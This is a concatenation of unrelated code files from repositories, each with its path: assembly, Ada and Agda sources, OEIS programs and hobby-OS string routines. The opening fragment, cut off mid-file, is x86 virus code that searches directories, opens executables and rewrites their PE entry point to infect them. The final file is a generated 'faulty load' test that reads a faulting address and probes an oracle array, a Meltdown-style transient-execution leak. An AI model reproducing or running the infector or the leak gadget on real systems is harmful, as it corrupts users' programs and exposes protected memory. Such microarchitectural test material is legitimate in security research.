3 jne nextfile jmp NoInfection Infect: push offset szDirDest push esi push offset szWinDir call StrCatDest push offset cFileName push offset szDirDest call StrCat ;File infection methods ;GENERIC_READ | GENERIC_WRITE mov eax, 0C0000000h ;open file invoke CreateFile, addr szDirDest, eax, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov dwRetVal, eax ;read start of PE header and add value for entry point offset invoke SetFilePointer, dwRetVal, 03Ch, NULL, FILE_BEGIN invoke ReadFile, dwRetVal, offset dwStartOfPE, 4, offset dwDamnStuff, NULL add dwStartOfPE, 028h ;read entry point and a value invoke SetFilePointer, dwRetVal, dwStartOfPE, NULL, FILE_BEGIN invoke ReadFile, dwRetVal, offset dwEntryPoint, 4, offset dwDamnStuff, NULL add dwEntryPoint, 210h ;write new entry point invoke SetFilePointer, dwRetVal, -4, NULL, FILE_CURRENT invoke WriteFile, dwRetVal, offset dwEntryPoint, 4, offset dwDamnStuff, NULL invoke CloseHandle, dwRetVal NoInfection: mov dwFileExPos, 0 mov dwFileExCount, 0 invoke FindNextFile, hSearch, offset dwFileAttributes cmp eax, 0 jnz nextfile cmp dwDirCount, 4 jne NextDir invoke ExitProcess, 0 ;nearly equal to the C-function InStr() InStr2: pop ebp pop ecx pop check mov edx, check InStrLoop: mov al, [ecx] mov bl, [edx] cmp al, bl jne InStrRestore inc edx mov bl, [edx] cmp bl, 0 je InStrTrue jmp InStrResume InStrRestore: mov edx, check InStrResume: cmp al,0 je InStrFalse cmp bl,0 je InStrFalse inc ecx jmp InStrLoop InStrFalse: mov eax, 0 push ebp ret InStrTrue: mov eax, 1 push ebp ret ;nearly equal to the c-function StrCat() StrCat: pop ebp pop ecx pop edx StrCatLoop: mov al, [ecx] inc ecx cmp al, 0 jne StrCatLoop dec ecx StrCatLoop2: mov bl, [edx] mov [ecx], bl inc ecx inc edx cmp bl,0 jne StrCatLoop2 push ebp ret ;modified function of StrCat copys destination string in the 3. argument StrCatDest: pop ebp pop ebx pop ecx pop edx StrCatDestLoop: mov al, [ebx] mov [edx], al inc ebx inc edx cmp al, 0 jne StrCatDestLoop dec ebx dec edx StrCatDestLoop2: mov bl, [ecx] mov [edx], bl inc ecx inc edx cmp bl,0 jne StrCatDestLoop2 push ebp ret ;equal to the c-function strcpy() StrCpy: pop ebp pop ebx pop ecx StrCpyLoop: mov al, [ebx] mov [ecx], al inc ecx inc ebx cmp al, 0 jne StrCpyLoop push ebp ret ;gets the next string in an array GetNextString: pop ebp pop ebx pop ecx add ebx, [ecx] mov al, [ecx] cmp al, 0 jnz GetNextStringLoop inc BYTE PTR [ecx] mov eax, ebx push ebp ret GetNextStringLoop: mov al, [ebx] inc ebx inc BYTE PTR [ecx] cmp al, 0 jnz GetNextStringLoop push ebp mov eax, ebx ret ;removes the first and the last character of a string RemoveFirstLast: pop ebp pop ebx inc ebx RemoveFirstLastLoop: mov dl, [ebx] dec ebx mov [ebx], dl inc ebx inc ebx cmp dl,0 jnz RemoveFirstLastLoop dec ebx dec ebx dec ebx dec ebx xor dl, dl mov [ebx], dl push ebp ret end start
cc4x86/tests/regressive/asm_listings/while__optimize.asm
artyompal/C-compiler
4
179716
<gh_stars>1-10 .686 .model flat .xmm .code _test proc push ebp mov ebp,esp sub esp,12 push edi push esi mov edi,0 label0000: mov eax,edi inc edi cmp eax,10 jge label0001 jmp label0000 label0001: cmp edi,11 je label0002 mov edi,1 mov eax,edi pop esi pop edi add esp,12 pop ebp ret label0002: mov edi,1 mov esi,0 label0003: sal edi,1 inc esi cmp edi,65536 jl label0003 cmp esi,16 je label0006 mov esi,2 mov eax,esi pop esi pop edi add esp,12 pop ebp ret label0006: mov esi,0 mov eax,esi pop esi pop edi add esp,12 pop ebp ret _test endp end
smsq/qd/trap3.asm
olifink/smsqe
0
178543
<filename>smsq/qd/trap3.asm * QDOS Trap #3 Emulation V2.00  1986 <NAME> QJUMP * section qd * xdef qd_trap3 xdef trp3_cinvi xref io_ckchn xref sms_cjid xref sms_rte xref shd_schd * include dev8_keys_err include dev8_keys_sys include dev8_keys_iod include dev8_keys_jcbq include dev8_keys_revbin include dev8_keys_chn include dev8_keys_psf include dev8_keys_68000 include dev8_keys_qdos_io include 'dev8_smsq_smsq_base_keys' * reglist reg d2-d6/a0/a2-a4 stk_d3w equ $06 regfrme equ $24 dc.l 0,0,0,0 sixteen bytes for patch * * set primary stack frame and locate system variable base * qd_trap3 movem.l psf.reg,-(sp) save main working registers trap3_entry move.l sms.sysb,a6 system variable base movem.l reglist,-(sp) save volatiles * bsr.l io_ckchn check channel id bne.s trp3_nrel ... oops, clear rela6 bset #0,chn_stat(a0) channel in use bne.l trp3_retry ... already in use * clr.l -(sp) set not relative move.l sys_jbpt(a6),d7 find job ble.s trp3_d1 move.l d7,a4 move.l (a4),a4 bclr #7,jcb_rela(a4) relative? beq.s trp3_d1 move.l psf_a6+regfrme+4(sp),(sp) set rel a6 add.l (sp),a1 and adjust st chn_stat(a0) mark status * trp3_d1 moveq #0,d7 move.b d0,d7 clean up key move.l d7,d0 lsr.w #3,d7 and check for clear d1 dc.b $01,$3b btst d0,trp3_d1t(pc,d7.w) dc.b $70,trp3_d1t-* beq.s trp3_set moveq #0,d1 * trp3_set move.b d0,chn_actn(a0) save action * move.l iod_ioad(a3),a4 io routine moveq #0,d3 first entry move.w stk_d3w+4(sp),d7 real wait in d7 jsr (a4) sub.l (sp)+,a1 restore a1 * moveq #-err.nc,d7 check for nc add.l d0,d7 beq.s trp3_redo trp3_done sf chn_stat(a0) clear status cmp.b #iof.load,chn_actn(a0) ; load? bne.s trp3_exit ; ... no trp3_cinvi move.w d0,d0 ; ... may be patched to inval cache trp3_exit movem.l (sp)+,reglist restore registers jmp sms_rte trp3_rnc moveq #err.nc,d0 not complete trp3_nrel move.l sys_jbpt(a6),d7 find job ble.s trp3_exit move.l d7,a4 move.l (a4),a4 bclr #7,jcb_rela(a4) clear relative bra.s trp3_exit * * table of entries clearing d1 * trp3_d1t dc.b ..xx..xx,........,........,........ dc.b ........,........,........,........ dc.b ......xx,xx......,........,........ dc.b ........,........,........,........ dc.b ........,........,........,........ dc.b ........,........,........,........ dc.b ........,........,........,........ dc.b ........,........,........,........ * trp3_redo move.l a0,a5 save channel address move.l d1,d2 and d1!! move.w stk_d3w(sp),d3 wait? beq.s trp3_done ; ... no blt.s trp3_gjb ; ... forever mulu sys_polf(a6),d3 ; ... adjust timer divu #sys.polf,d3 tst.w d3 bpl.s trp3_gjb ; ... ok wait move.w #$7fff,d3 ; greatest positive trp3_gjb ;; btst #sr..s,psf_sr+regfrme(a7) ;; bne.s trp3_done ; no wait in supervisor mode bsr.l sms_cjid get current job ID move.l d1,chn_jbwt(a5) save waiting job id lea chn_stat(a5),a4 move.l a4,jcb_rflg(a0) set flag address move.w d3,jcb_wait(a0) ... and wait moveq #err.nc,d0 reset d0 move.l d2,d1 d1 move.l a5,a0 and a0 bra.s trp3_rshd * trp3_retry tst.w d3 wait? beq.s trp3_rnc ... no, not complete subq.l #2,psf_pc+regfrme(sp) backspace program counter trp3_rshd st sys_rshd(a6) reschedule movem.l (sp)+,reglist restore registers bra.l shd_schd end
3-mid/opengl/source/lean/light/opengl-light-directional.adb
charlie5/lace
20
30388
<filename>3-mid/opengl/source/lean/light/opengl-light-directional.adb with openGL.conversions; package body openGL.Light.directional is procedure inverse_view_Transform_is (Self : in out Item; Now : in Matrix_3x3) is use linear_Algebra; begin Self.Direction := Now * Normalised (Self.Site); Self.halfplane_Vector := Normalised ( Normalised (Self.Direction (1 .. 3)) + (0.0, 0.0, 1.0)); end inverse_view_Transform_is; procedure Color_is (Self : in out Item; Ambient, Diffuse, Specular : in light_Color) is use openGL.conversions; begin Self. ambient_Color := to_Vector_4 (Ambient); Self. diffuse_Color := to_Vector_4 (Diffuse); Self.specular_Color := to_Vector_4 (Specular); end Color_is; function ambient_Color (Self : in Item) return Vector_4 is begin return Self.ambient_Color; end ambient_Color; function diffuse_Color (Self : in Item) return Vector_4 is begin return Self.diffuse_Color; end diffuse_Color; function specular_Color (Self : in Item) return Vector_4 is begin return Self.specular_Color; end specular_Color; function Direction (Self : in Item) return Vector_3 is begin return Self.Direction; end Direction; function halfplane_Vector (Self : in Item) return Vector_3 is begin return Self.halfplane_Vector; end halfplane_Vector; end openGL.Light.directional;
test/asset/agda-stdlib-1.0/Data/Container/Membership.agda
omega12345/agda-mode
5
2486
<filename>test/asset/agda-stdlib-1.0/Data/Container/Membership.agda ------------------------------------------------------------------------ -- The Agda standard library -- -- Membership for containers ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.Container.Membership where open import Level using (_⊔_) open import Relation.Unary using (Pred) open import Relation.Binary.PropositionalEquality open import Data.Container.Core open import Data.Container.Relation.Unary.Any module _ {s p} {C : Container s p} {x} {X : Set x} where infix 4 _∈_ _∈_ : X → Pred (⟦ C ⟧ X) (p ⊔ x) x ∈ xs = ◇ C (_≡_ x) xs
programs/oeis/061/A061239.asm
neoneye/loda
22
105350
; A061239: Prime numbers == 4 (mod 9). ; 13,31,67,103,139,157,193,211,229,283,337,373,409,463,499,571,607,643,661,733,751,769,787,823,859,877,967,1021,1039,1093,1129,1201,1237,1291,1327,1381,1399,1453,1471,1489,1543,1579,1597,1669,1723,1741,1759,1777,1831,1867,1993,2011,2029,2083,2137,2281,2371,2389,2551,2659,2677,2713,2731,2749,2767,2803,2857,3001,3019,3037,3109,3163,3181,3217,3253,3271,3307,3343,3361,3433,3469,3541,3559,3613,3631,3739,3793,3847,3919,4027,4099,4153,4243,4261,4297,4423,4441,4513,4549,4567 mov $2,$0 pow $2,2 add $2,1 mul $2,2 mov $5,1 lpb $2 add $1,3 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,5 add $1,$5 sub $2,1 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe sub $1,3 div $1,2 mul $1,2 sub $1,1 mov $0,$1
Ada/problem_6/problem_6.adb
PyllrNL/Project_Euler_Solutions
0
15859
<reponame>PyllrNL/Project_Euler_Solutions<gh_stars>0 package body Problem_6 is function Solution_1 return Int64 is Sum_Of_Squares : Int64 := 0; Sum : Int64 := 0; begin for I in 1 .. 100 loop Sum_Of_Squares := Sum_Of_Squares + Int64(I*I); Sum := Sum + Int64(I); end loop; return (Sum * Sum ) - Sum_Of_Squares; end Solution_1; function Solution_2 return Int64 is Sum_Of_Squares : Constant Int64 := (100*(100 + 1)*(2*100 + 1)) / 6; Sum : Constant Int64 := (100*(100+1)) / 2; begin return (Sum*Sum) - Sum_Of_Squares; end Solution_2; procedure Test_Solution_1 is Solution : constant Int64 := 25164150; begin Assert( Solution_1 = Solution ); end Test_Solution_1; procedure Test_Solution_2 is Solution : constant Int64 := 25164150; begin Assert( Solution_1 = Solution ); end Test_Solution_2; function Get_Solutions return Solution_Case is Ret : Solution_Case; begin Set_Name( Ret, "Problem 6"); Add_Test( Ret, Test_Solution_1'Access ); Add_Test( Ret, Test_Solution_2'Access ); return Ret; end Get_Solutions; end Problem_6;
programs/oeis/218/A218034.asm
jmorken/loda
1
13462
<reponame>jmorken/loda ; A218034: Number of ways to seat 4 types of people in n labeled seats around a circle such that no two adjacent people are of the same type. ; 1,4,12,24,84,240,732,2184,6564,19680,59052,177144,531444,1594320,4782972,14348904,43046724,129140160,387420492,1162261464,3486784404,10460353200,31381059612,94143178824,282429536484,847288609440,2541865828332,7625597484984,22876792454964 mov $27,$0 mov $29,2 lpb $29 clr $0,27 mov $0,$27 sub $29,1 add $0,$29 sub $0,1 lpb $0 mov $1,$0 cal $1,46717 ; a(n) = 2*a(n-1) + 3*a(n-2), a(0) = a(1) = 1. mov $0,0 add $2,$1 mul $1,2 add $2,$1 add $2,1 lpe mov $1,$2 add $1,1 mov $30,$29 lpb $30 mov $28,$1 sub $30,1 lpe lpe lpb $27 mov $27,0 sub $28,$1 lpe mov $1,$28
source/features/string.asm
feliposz/FelipOS
0
3596
<filename>source/features/string.asm<gh_stars>0 ; ========================================================== ; os_string_strincmp -- See if two strings match up to set number of chars ; IN: SI = string one, DI = string two, CL = chars to check ; OUT: carry set if same, clear if different os_string_strincmp: pusha cld .loop: jz .equal mov al, [si] cmpsb jne .not_equal or al, al jz .equal loop .loop .equal: popa stc ret .not_equal: popa clc ret ; ========================================================== ; os_string_compare -- See if two strings match ; IN: SI = string one, DI = string two ; OUT: carry set if same, clear if different os_string_compare: pusha cld .loop: mov al, [si] cmpsb jne .not_equal or al, al jnz .loop .equal: popa stc ret .not_equal: popa clc ret ; ========================================================== ; os_string_uppercase -- Convert zero-terminated string to upper case ; IN/OUT: AX = string location os_string_uppercase: pusha mov si, ax .loop: mov al, [si] or al, al jz .done cmp al, 'a' jl .skip cmp al, 'z' jg .skip sub ax, 'a' - 'A' mov [si], al .skip: inc si jmp .loop .done: popa ret ; ========================================================== ; os_string_lowercase -- Convert zero-terminated string to lower case ; IN/OUT: AX = string location os_string_lowercase: pusha mov si, ax .loop: mov al, [si] or al, al jz .done cmp al, 'A' jl .skip cmp al, 'Z' jg .skip add al, 'a' - 'A' mov [si], al .skip: inc si jmp .loop .done: popa ret ; ========================================================== ; os_string_chomp -- Strip leading and trailing spaces from a string ; IN: AX = string location os_string_chomp: pusha cld mov bx, ax mov si, ax mov di, ax .scan_lead: ; skip all leading spaces mov al, [si] or al, al jz .cut_trail cmp al, ' ' jne .shift_left inc si jmp .scan_lead .shift_left: ; move string to the left mov al, [si] or al, al jz .done_shift movsb jmp .shift_left .done_shift: mov byte [di], 0 ; restore terminator mov si, bx mov di, bx .scan_trail: ; scan for first space after non-space character mov al, [si] or al, al jz .cut_trail cmp al, ' ' je .is_space mov di, si inc di .is_space: inc si jmp .scan_trail .cut_trail: mov byte [di], 0 ; place terminator after last non-space .done: popa ret ; ========================================================== ; os_string_tokenize -- Reads tokens separated by specified char from a string. Returns pointer to next token, or 0 if none left ; IN: AL = separator char, SI = beginning ; OUT: DI = next token or 0 if none os_string_tokenize: push ax push bx push si mov di, 0 .next: mov bl, [si] or bl, bl jz .done inc si cmp bl, al jne .next .found: mov di, si .done: pop si pop bx pop ax ret ; ========================================================== ; os_set_time_fmt -- Set time reporting format (eg '10:25 AM' or '2300 hours') ; IN: AL = format flag, 0 = 12-hr format os_set_time_fmt: mov [time_fmt], al ret ; ========================================================== ; os_set_date_fmt -- Set date reporting format (M/D/Y, D/M/Y or Y/M/D - 0, 1, 2) ; IN: AX = format flag, 0-2 ; If AX bit 7 = 1 = use name for months ; If AX bit 7 = 0, high byte = separator character os_set_date_fmt: push ax test ax, 1<<7 jnz .no_sep mov byte [date_mon], 0 mov [date_sep], ah jmp .sep .no_sep: mov byte [date_mon], 1 mov byte [date_sep], ' ' .sep: and al, 3 mov [date_fmt], al pop ax ret ; ========================================================== ; os_get_time_string -- Get current time in a string (eg '10:25') ; IN/OUT: BX = string location os_get_time_string: pusha .retry: mov ah, 2 int 1ah jc .retry ; CH = hours in BCD ; CL = minutes in BCD ; DH = seconds in BCD ; DL = 1 if daylight savings time option mov al, [time_fmt] or al, al jz .12hour_fmt jmp .24hour_fmt .12hour_fmt: mov ah, 0 cmp ch, 0 je .midnight cmp ch, 24h je .midnight cmp ch, 12h je .noon ja .pm jmp .12hour_out .noon: mov ah, 1 .midnight: mov ch, 12h jmp .12hour_out .pm: mov ah, 1 mov al, ch sub al, 12h das mov ch, al .12hour_out: mov al, ch shr al, 4 add al, '0' mov [bx], al mov al, ch and al, 0fh add al, '0' mov [bx+1], al mov byte [bx+2], ':' mov al, cl shr al, 4 add al, '0' mov [bx+3], al mov al, cl and al, 0fh add al, '0' mov [bx+4], al mov byte [bx+5], ' ' mov byte [bx+6], 'a' mov byte [bx+7], 'm' or ah, ah jz .am mov byte [bx+6], 'p' .am: mov byte [bx+8], 0 popa ret .24hour_fmt: mov al, ch shr al, 4 add al, '0' mov [bx], al mov al, ch and al, 0fh add al, '0' mov [bx+1], al mov al, cl shr al, 4 add al, '0' mov [bx+2], al mov al, cl and al, 0fh add al, '0' mov [bx+3], al mov byte [bx+4], ' ' mov byte [bx+5], 'h' mov byte [bx+6], 'o' mov byte [bx+7], 'u' mov byte [bx+8], 'r' mov byte [bx+9], 's' mov byte [bx+10], 0 popa ret ; ========================================================== ; os_get_date_string -- Get current date in a string (eg '12/31/2007') ; IN/OUT: BX = string location os_get_date_string: pusha mov di, bx .retry: mov ah, 4 int 1ah jc .retry ; CH century, in BCD (19H ... 20H) ; CL year, in BCD (00H ... 99H) ; DH month, in BCD (i.e., 01H=Jan ... 12H=Dec) ; DL day, in BCD (00H ... 31H) cmp byte [date_fmt], 0 jne .not0 call .month call .sep call .day call .sep call .year jmp .done .not0: cmp byte [date_fmt], 1 jne .not1 call .day call .sep call .month call .sep call .year jmp .done .not1: call .year call .sep call .month call .sep call .day .done: mov byte [di], 0 popa ret .sep: mov al, [date_sep] stosb ret .year: mov al, ch shr al, 4 add al, '0' stosb mov al, ch and al, 0fh add al, '0' stosb mov al, cl shr al, 4 add al, '0' stosb mov al, cl and al, 0fh add al, '0' stosb ret .month: mov al, [date_mon] or al, al jnz .month_name mov al, dh shr al, 4 or al, al add al, '0' stosb mov al, dh and al, 0fh add al, '0' stosb ret .month_name: push cx push dx mov al, dh call os_bcd_to_int dec ax mov cx, 3 mul cx mov si, month_name add si, ax rep movsb pop dx pop cx ret .day: mov al, dl shr al, 4 add al, '0' stosb mov al, dl and al, 0fh add al, '0' stosb ret ; ========================================================== ; os_int_to_string -- Convert unsigned integer to string ; IN: AX = unsigned int ; OUT: AX = string location os_int_to_string: pusha mov di, int_string or ax, ax jnz .not_zero mov dx, '0' mov cx, 1 push dx jmp .pop_digits .not_zero: mov bx, 10 mov cx, 0 .push_digits: xor dx, dx or ax, ax jz .pop_digits div bx add dl, '0' push dx inc cx jmp .push_digits .pop_digits: pop dx mov [di], dl inc di dec cx or cx, cx jnz .pop_digits .done: mov byte [di], 0 popa mov ax, int_string ret ; ========================================================== ; os_sint_to_string -- Convert signed integer to string ; IN: AX = signed int ; OUT: AX = string location os_sint_to_string: cmp ax, 0 jl .negative call os_int_to_string ret .negative: neg ax call os_int_to_string mov ax, neg_string ret ; ========================================================== ; os_long_int_to_string -- Convert value in DX:AX to string ; IN: DX:AX = long unsigned integer, BX = number base, DI = string location ; OUT: DI = location of converted string os_long_int_to_string: pusha mov bp, di mov byte [di], 0 cmp bx, 37 ja .done cmp bx, 0 je .done .conversion: ; divide dx:ax (32-bit) by bx (base) mov cx, 0 xchg ax, cx xchg ax, dx div bx xchg ax, cx div bx xchg cx, dx ; cx = remainder, dx:ax = quotient ; digits will be added in reverse order cmp cx, 9 jle .is_digit add cx, 'A'-10 jmp .not_digit .is_digit: add cx, '0' .not_digit: mov [di], cl inc di mov cx, dx or cx, ax jnz .conversion mov al, 0 ; add nul terminator stosb mov si, bp call os_string_reverse .done: popa ret ; ========================================================== ; os_string_reverse -- Reverse the characters in a string ; IN: SI = string location os_string_reverse: pusha ; point DI to last char mov di, si .advance: cmp byte [di], 0 jz .end_reached inc di jmp .advance .end_reached: dec di ; swap SI and DI, move SI left and DI right .reverse_loop: cmp si, di jae .done mov al, [si] mov bl, [di] mov [si], bl mov [di], al inc si dec di jmp .reverse_loop .done: popa ret ; ========================================================== ; os_string_copy -- Copy one string into another ; IN/OUT: SI = source, DI = destination (programmer ensure sufficient room) os_string_copy: cld push ax push si push di .loop: mov al, [si] movsb or al, al jnz .loop pop di pop si pop ax ret ; os_string_join -- Join two strings into a third string ; IN/OUT: AX = string one, BX = string two, CX = destination string os_string_join: cld push ax push si push di mov si, ax mov di, cx .loop_a: mov al, [si] movsb or al, al jnz .loop_a dec di mov si, bx .loop_b: mov al, [si] movsb or al, al jnz .loop_b pop di pop si pop ax ret ; ========================================================== ; os_string_length -- Return length of a string ; IN: AX = string location ; OUT AX = length (other regs preserved) os_string_length: cld push cx push si mov si, ax xor cx, cx .loop: lodsb or al, al jz .end inc cx jmp .loop .end: mov ax, cx pop si pop cx ret ; ========================================================== ; os_find_char_in_string -- Find location of character in a string ; IN: SI = string location, AL = character to find ; OUT: AX = location in string, or 0 if char not present os_find_char_in_string: push cx push dx push si mov dl, al xor cx, cx .loop: lodsb or al, al jz .not_found inc cx cmp al, dl je .found jmp .loop .not_found: xor cx, cx .found: mov ax, cx pop si pop dx pop cx ret ; ========================================================== ; os_string_charchange -- Change instances of character in a string ; IN: SI = string, AL = char to find, BL = char to replace with os_string_charchange: push dx push si .loop: mov dl, [si] or dl, dl jz .done cmp dl, al jne .next mov [si], bl .next: inc si jmp .loop .done: pop si pop dx ret ; ========================================================== ; os_string_truncate -- Chop string down to specified number of characters ; IN: SI = string location, AX = number of characters ; OUT: String modified, registers preserved os_string_truncate: push ax push bx push si mov bx, ax mov ax, si call os_string_length cmp bx, ax jge .done mov byte [si+bx], 0 .done: pop si pop bx pop ax ret ; ========================================================== ; os_string_strip -- Removes specified character from a string (max 255 chars) ; IN: SI = string location, AL = character to remove os_string_strip: push si push di push bx mov di, si .loop: mov bl, [si] mov [di], bl cmp bl, al je .skip inc di .skip: inc si cmp bl, 0 jne .loop .done: pop bx pop di pop si ret ; ========================================================== ; os_string_parse -- Take string (eg "run foo bar baz") and return pointers to zero-terminated strings (eg AX = "run", BX = "foo" etc.) ; IN: SI = string ; OUT: AX, BX, CX, DX = individual strings os_string_parse: push si mov ax, si mov bx, 0 mov cx, 0 mov dx, 0 .loop_bx: cmp byte [si], 0 jz .done cmp byte [si], ' ' je .end_bx inc si jmp .loop_bx .end_bx: mov byte [si], 0 inc si mov bx, si .loop_cx: cmp byte [si], 0 jz .done cmp byte [si], ' ' je .end_cx inc si jmp .loop_cx .end_cx: mov byte [si], 0 inc si mov cx, si .loop_dx: cmp byte [si], 0 jz .done cmp byte [si], ' ' je .end_dx inc si jmp .loop_dx .end_dx: mov byte [si], 0 inc si mov dx, si .done: pop si ret ; ========================================================== ; os_string_to_int -- Convert decimal string to integer value ; IN: SI = string location (max 5 chars, up to '65536') ; OUT: AX = number os_string_to_int: push bx push cx push dx push si push di mov cx, 5 mov bx, 10 xor di, di .next_digit: xor ax, ax lodsb cmp al, '0' jb .done cmp al, '9' ja .done sub al, '0' xchg ax, di mul bx add ax, di xchg ax, di loop .next_digit .done: xchg ax, di pop di pop si pop dx pop cx pop bx ret time_fmt db 0 date_fmt db 0 date_mon db 0 date_sep db '/' month_name db 'JanFebMarAprMayJunJulAugSepOctNovDec' neg_string db '-' int_string times 7 db 0 long_string times 33 db 0
programs/oeis/105/A105073.asm
karttu/loda
0
27754
; A105073: Define a(1)=0, a(2)=2 then a(n) = 3*a(n-1) - a(n-2), a(n+1) = 3*a(n)-a(n-1) and a(n+2) = 3*a(n+1) - a(n) + 2. ; 0,2,6,16,44,116,304,798,2090,5472,14328,37512,98208,257114,673134,1762288,4613732,12078908,31622992,82790070,216747218,567451584,1485607536,3889371024,10182505536,26658145586,69791931222,182717648080,478361013020,1252365390980,3278735159920,8583840088782,22472785106426,58834515230496,154030760585064,403257766524696,1055742538989024,2763969850442378,7236167012338110 mov $1,8 mov $2,1 mov $4,1 mov $5,2 lpb $0,1 sub $0,1 add $4,$5 add $5,$4 lpe add $0,$2 add $1,$2 add $3,$5 add $3,$0 add $1,$3 add $1,1 div $1,4 sub $1,3 mul $1,2
oeis/349/A349852.asm
neoneye/loda-programs
11
165745
<filename>oeis/349/A349852.asm<gh_stars>10-100 ; A349852: Expansion of Sum_{k>=0} k * x^k/(1 + k * x). ; Submitted by <NAME>(s3) ; 0,1,1,0,2,1,-5,20,-28,-47,525,-2056,3902,9633,-129033,664364,-1837904,-2388687,67004697,-478198544,1994889946,-1669470783,-56929813933,615188040196,-3794477505572,12028579019537,50780206473221,-1172949397924184,10766410530764118 lpb $0 add $3,1 mov $2,$3 pow $2,$0 sub $0,1 mul $1,-1 add $1,$2 lpe mov $0,$1
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1881.asm
ljhsiun2/medusa
9
171982
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x1261c, %rcx nop nop nop inc %r12 mov $0x6162636465666768, %r10 movq %r10, %xmm5 vmovups %ymm5, (%rcx) nop nop nop sub %r15, %r15 lea addresses_UC_ht+0x2226, %rsi lea addresses_D_ht+0x1319c, %rdi and $63231, %r9 mov $82, %rcx rep movsw nop nop nop nop nop dec %rsi lea addresses_A_ht+0xc164, %rcx nop nop sub %r10, %r10 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %rcx movntdq %xmm2, (%rcx) nop nop nop nop nop sub %rcx, %rcx lea addresses_WC_ht+0xecc, %rsi nop nop nop sub $9159, %r9 mov (%rsi), %r15d and $45887, %rsi lea addresses_WT_ht+0x15b98, %rsi nop nop and %r15, %r15 vmovups (%rsi), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r9 add %r15, %r15 lea addresses_WC_ht+0xe19c, %r9 nop nop xor $21661, %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%r9) nop nop nop sub $20098, %r15 lea addresses_WC_ht+0x1998f, %r10 nop nop nop nop cmp %r12, %r12 mov (%r10), %r15 nop sub $3694, %r9 lea addresses_WC_ht+0x9c44, %rcx nop nop sub %r12, %r12 movw $0x6162, (%rcx) cmp %r10, %r10 lea addresses_WC_ht+0xa2b4, %rsi lea addresses_UC_ht+0x50bc, %rdi nop xor %r14, %r14 mov $111, %rcx rep movsl sub $46444, %r9 lea addresses_normal_ht+0x1ed68, %rcx nop nop and %rdi, %rdi movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r14 nop nop nop dec %rdi lea addresses_normal_ht+0x66be, %r14 and %rsi, %rsi mov (%r14), %r9w nop nop add $9253, %r10 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rbx push %rsi // Faulty Load mov $0x512d0c000000099c, %r14 nop nop nop nop nop dec %rbp mov (%r14), %rax lea oracles, %rbx and $0xff, %rax shlq $12, %rax mov (%rbx,%rax,1), %rax pop %rsi pop %rbx pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 5, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 